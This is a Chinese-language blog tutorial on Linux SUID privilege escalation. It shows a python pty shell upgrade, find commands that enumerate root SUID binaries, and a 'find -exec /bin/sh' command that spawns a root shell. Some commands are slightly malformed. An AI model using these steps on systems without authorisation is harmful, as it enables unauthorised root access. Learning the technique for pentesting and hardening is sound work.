Linux配置不当提权-suid提权

在这里插入图片描述攻击成功,并得到一个shell,但是这里却只是一个简单的shell,首先需要把它转换为一个交互式的shell

在简单shell中直接按删除键是不行的,要按住ctrl键之后,再按住删除键才可以,其他键的使用也一样
在这里插入图片描述命令

python -c 'import pty;pty.spawn("/bin/bash")'

现在已经进入了一个交互的shell了,但是可以看到这只是一个普通的用户,所以我们要把他提到root用户

suid提权的原理

suid是什么,有什么作用?
SUID (Set owner User ID up on execution) 是给予文件的一个特殊类型的文件权 限。在 Linux/Unix中,当一个程序运行的时候, 程序将从登录用户处继承权限。 SUID被定义为给予一个用户临时的(程序/文件)所有者的权限来运行一个程序/文 件。简而言之用户在执行程序/文件/命令的时候,将获取文件所有者的权限以及所有 者的UID和GID

简单来说。suid,它会出现在文件拥有者权限的执行位上,具有这种权限的文件会在其执行时,使调用者暂时获得该文件拥有者的权限。

在这里插入图片描述所以我们去找一个文件拥有者为root,而且其执行位上有s的执行文件,那么即使我们用普通用户运行这个文件时,这个文件的执行权限就是root

命令

find / -user root -perm -4000 -print 2>/dev/null
find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000 -exec ls -ldb {}

在这里插入图片描述为什么使用find命令呢?

原因:在find的后面,是可以带入命令的,而我们要的就是执行其他命令。也就是说,当我们调用find命令时,因为find命令有s权限,所以find在执行时的权限就是root命令,而在find后面的带入的命令也就是在root权限下执行的命令了

去查看find
在这里插入图片描述带入命令的方法:

-exec command 。-exec选项后面跟随着所要执行的命令或脚本,然后是一对大括号 { },-个空格,一个反斜杠\加上一个分号。因为分号;在bash的环境下空格是有特殊意义的,因此利用反斜杠来跳脱

提权命令

先创建一个空文件test,使用命令:

find test -exec '/bin/sh' \ ;

在这里插入图片描述

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章